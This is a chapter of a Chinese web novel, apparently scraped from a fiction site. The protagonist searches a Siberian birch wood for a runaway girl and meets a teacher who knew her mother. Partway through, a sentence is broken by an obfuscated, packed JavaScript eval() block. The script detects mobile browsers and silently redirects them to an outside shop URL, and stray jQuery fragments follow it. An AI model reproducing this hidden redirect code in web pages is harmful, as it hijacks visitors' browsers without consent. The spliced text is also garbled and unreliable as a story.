文趣网 > 其他小说 > 神明终有一死 > 57. 日瓦戈医生
    第二天起来的时候,游叙还感觉脑袋里有点嗡嗡的。

    估计还是因为冷。

    切里兹格勒天黑得早,亮的也晚,现在是早晨七点,天才刚蒙蒙亮。她躺在床上盯着那扇小窗户看了一会,慢腾腾爬起来。

    卡佳正在外面忙活。

    “你醒了?”她看到游叙,细声说道,“早餐还要一会,请等一下吧。”

    游叙要去帮她,被她拒绝了。

    “客人您休息就好。”她有点羞涩地笑道,“镇上很少有外人来,怎么能让您做事呢。”

    游叙良心不是太安地坐在旁边。

    “对了,卡佳。”她想起昨天的事,“你们镇上,是不是有位,呃,精神不是太好的……”

    “哦。”卡佳了然,“您说的是那位‘莱西’吧。”

    游叙还是第一次听到这个名词,疑惑,“莱西?”

    “嗯,是西伯利亚北部这边的特有种族。”卡佳说,“大家都不知道他的名字,所以用种族代称,虽然很失礼,但是也没有其他更好的方式……”

    说到这里,她想起什么,笑道,“您昨天没有被吓到吧?”

    游叙一惊,“你怎么知道……”

    “一位信众告诉母亲的,母亲有点担心您。”卡佳说,“但他不会伤害人,他……”

    她想了想,谨慎地吐出几个词,“灵性比较高,能看到其他人所看不到的东西。”

    哦,游叙懂了。

    外国阴阳眼。

    那疯子昨天是看到了什么,难不成是她随身带的水晶体?

    可是说海妖死了又是什么意思,难不成他还能看到卡津布狄斯已死?

    她又想起预知失效的事情,有心想再打听点消息,问道,“我看到你们这里也有ARC的研究所驻扎,主要是研究什么呢?”

    “这我不清楚。”卡佳摇摇头,“不过我很小的时候他们就在这了……可能是什么保密项目吧。”

    游叙想再问问工厂,不过已经到了上班时间。卡佳不好意思地轻声道歉,嘱咐她好好吃饭,带上包急匆匆走了。

    游叙喊来晏衡,两个人收拾完餐具,正低声商量上午再去哪里转转,外面传来啪嗒啪嗒的脚步声。

    一个金棕色小卷毛脑袋探进来。

    “早上好,游叙姐姐!”扎利亚兴奋道,“我给你们带来了礼物,请再给我讲讲国外的事吧?”

    她把什么东西塞给游叙,是一小把树枝。

    “主会怜悯我们,阿民。”扎利亚画了个十字,眼睛闪闪发亮,“是我今早去折来的桦树枝,能保佑你们平安。”

    “谢谢你。”游叙抱着那一小束桦树枝,有点不知道该放哪,“你想听什么……”

    “扎利亚!”

    一道暴怒的女声从外面炸响。游叙还没反应过来是什么情况,就见一位中年人怒气冲冲进来,一边画了一遍十字,一边劈手扇了慌张的扎利亚一个耳光。

    啪!

    响亮的声音响彻室内,游叙吓了一跳,不知该如何是好。哒哒哒的脚步声响起,安娜跟着中年人匆匆进来,无奈劝道,“瓦连卡,孩子是弱小的,不应随意动手……”

    “安娜主教,上帝保佑,我的心脏都要冻住了。我每天上十个小时工,一个月才能挣三千沙朗,可她竟然还逃学!若不是王老师告诉我,我还不知道不止一次!”瓦连卡尖锐的喊叫几乎能掀翻天花板,“我没有文化,可扎利亚至少得学会读书写字,否则以后能做什么,到冻土里挖土豆吗?”

    扎利亚捂着脸颊低头,没吭声。安娜拉住瓦连卡,劝她,“主说‘不要论断人’。瓦连卡,你打她是因愤怒,还是她真的犯了死罪?彼得三次不认主,主都只是看了他一眼,要用眼泪,不要用拳头。”

    “愿主原谅,我是十分虔敬的,可今日实在气昏了头。”瓦连卡用袖子擦了一下脸,“私自跑出来这么一小会,怕是会被工厂主伊戈尔扣掉二十个沙朗,今天的饭钱都没了。扎利亚,回学校去!”

    她身材不高,穿一身被染得油腻腻的深蓝色工装,头发打了绺,一条条贴在额头上,实在狼狈。扎利亚忽然挣开她的手,头也不回地跑向外面。

    “扎利亚!”

    瓦连卡重重一跺脚,“我的孩子,她怎能如此顽劣,听不进任何劝诫?”

    “唉,瓦连卡,你实在不应当那样做。按理来说,你当跪下祈祷主原谅你不敬的罪过。”安娜说道,“但慈爱的主应当也不愿意见到孩子出事……还是快出去找找吧,扣钱的事,我来与伊戈尔说。”

    瓦连卡顿时露出感激神色,手画十字,对圣像深深鞠躬。

    “安娜主教,您真是我所见过最慈悲的人,愿主护佑您的灵魂。”她低声道,“我这就去把扎利亚找回来。”

    说罢,她快步走了出去。

    游叙这才慢慢把刚才一直憋着的那口气喘出来。

    “那个,我们也出去帮忙找找吧?”她试探着问道,“毕竟昨天是扎利亚带我们来到教会……”

    “您能有这样的想法,实在感激不尽。”安娜说,“还请您也注意自身的安全,阿民。”

    游叙取下外套,拉着晏衡出了门。

    “扎利亚会去哪呢?”她忧心忡忡,“她还是个孩子,才十几岁……”

    晏衡说,“桦树枝。”

    “嗯?”游叙愣了一下才明白过来他说的什么,“哦,对,她给我们带来了桦树枝,所以她有可能会去桦树林?”

    小镇里面当然没有桦树林,但是昨天来的时候游叙见到镇子外面有一片,她隐约还记得是在哪个方向。

    早晨的镇子依旧人很少,只有工厂里隐约飘出和昨天一样的气味。游叙低声问晏衡,“我觉得这是个肉罐头工厂,你觉得呢?”

    晏衡答,“为什么这么认为?”

    “肉味、肉罐头便宜、瓦连卡身上都是油,这还不明显吗?”游叙说,“不过没见其他产业……这地方难道工业结构这么单一?”

    “以前应该有其他产业的。”晏衡目光看向小镇外面,“只不过……”

    想起昨天看到的荒原上的景象,游叙明白。大概是资源枯竭了吧。

    两个人慢慢走到镇外的白桦林。

    小树林旁边还有条小河,不过早就结冰了,还盖了一层雪。河边小路对面过来一个全副武装的人,好像正在找什么,不住左右看。游叙目光扫过对方,正要继续往前走,眼前突然闪了一下,那人竟然脚下一滑,带着她一块撞进了河里!

    游叙下意识一伸手,一把拉住那人。

    “哎哟!”

    与此同时,她只感觉手上一沉。

    她差点被带下去。

    “谢谢谢谢。”那人惊魂未定地站好,转身道谢,“没想到这地方没冻严实,差一点就掉下去了……”

    游叙迟疑,“华国人?”

    “哎?”

    对方也是一愣。

    她一把拽下自己的帽子。

    “你们也是?”

    这是个上了一点年纪的人,看起来四十左右,典型的华国面孔,拉下帽子很快又受不了寒气默默戴回去,自我介绍道,“我叫王煦,在镇上的学校教书。你们是来切里兹

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17780187|206466||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    格勒做什么的?”

    游叙也勾下一点口罩,答道,“我叫游叙,这是晏衡。”

    王煦看见她的脸,忽然睁大了眼睛。

    她下意识想伸手,伸到一半又缩了回来,“你……你姓游?你认识游淡风吗?”

    游叙万万没想到在如此遥远的地方听到妈妈的名字,顿时茫然回答,“那……是我妈妈。”

    “你和你妈妈长得很像。”王煦打量她的脸,“真没想到会在这里遇到她的孩子……”

    “您认识她?”

    “我们以前是同事。”王煦说,“不过没共事太久,她……”

    “王老师,游叙姐姐。”

    窸窸窣窣的声音响起,王煦身后的树丛摇动,扎利亚从白桦林里钻出来,抱着一大捆桦树枝,见到她们都在这里,顿时站住。王煦看到她,松了口气。

    “扎利亚,你妈妈很担心你,快回去吧。”她去拉扎利亚的手,“我单独再给你上课好不好?”

    扎利亚低下头,声音闷闷的,“可是要麻烦老师,都怪我不聪明,要是我能听懂课程就好了……”

    王煦急忙安抚她。

    “这孩子年纪太小,经常听不懂课,我们只有两个人,实在顾不过来。”她用中文和游叙解释,叹了口气,“要是能换个大一点的城市学习就好了,可惜……”

    扎利亚听不懂她在说什么,睁大眼睛好奇地看着她们。

    “啊,那个,孩子找到了就好。”一听到这个游叙的华国血脉立刻被激发,急忙说道,“是不是还要上课?快回去吧。”

    王煦点点头,跟他们告了别,带着扎利亚往学校的方向走去。

    游叙看着她们的背影渐渐消失。

    她低头看了看自己的手。

    晏衡看她,“怎么了?”

    “有件怪事。”游叙若有所思,“我的预知能力刚才又回来了。”

    晏衡道,“所以刚才你拉住了王煦?”

    “嗯,我看到她要摔下去,还把我也绊倒了。”游叙说,“它又出现了……难道和镇里没关系,和时间有关?”

    晏衡转头看向镇子的方向。

    “我们已经从镇子出来了。”

    “那就是,距离?”游叙做了个手指走路的动作,“还是那个研究所里有什么吧。”

    晏衡又转回头来,神色看起来不怎么好。

    “不做实验。”

    “什么实验……哦,你说昨天那个。”游叙说,“哼,我也不指望你……顺其自然吧。”

    她率先往回走,晏衡跟上她。

    他们重新回到镇里的路上,晏衡突然冒出一句,“我会保护你的。”

    游叙一顿。

    “怎么忽然说这个……你不是一直在这么做?”

    “嗯。”

    “莫名其妙的你。”游叙嘀咕着,“出都出来了,我们再转转吧?”

    “好。”

    “话就不能多一点?”

    “可以。”

    “多一个字也叫多啊?”

    “反正多了。”

    “你这人真是没救了你……”

    “……”

    说话声渐渐远去,只留下白桦林轻轻地哗啦啦晃着,到处都是灰色和白色,没有鸟叫,没有虫鸣,这些小小的生命没办法在这种天气下露天生存。天空一片灰蓝,偶尔飘过一朵云,只是云也不是纯然的白,仿佛也染上了淡淡的灰色。阳光落下,可并没有几分暖意。

    风从建筑之间的缝隙间吹过去,仿佛低低的呜咽。

    太阳渐渐走到正中央去了。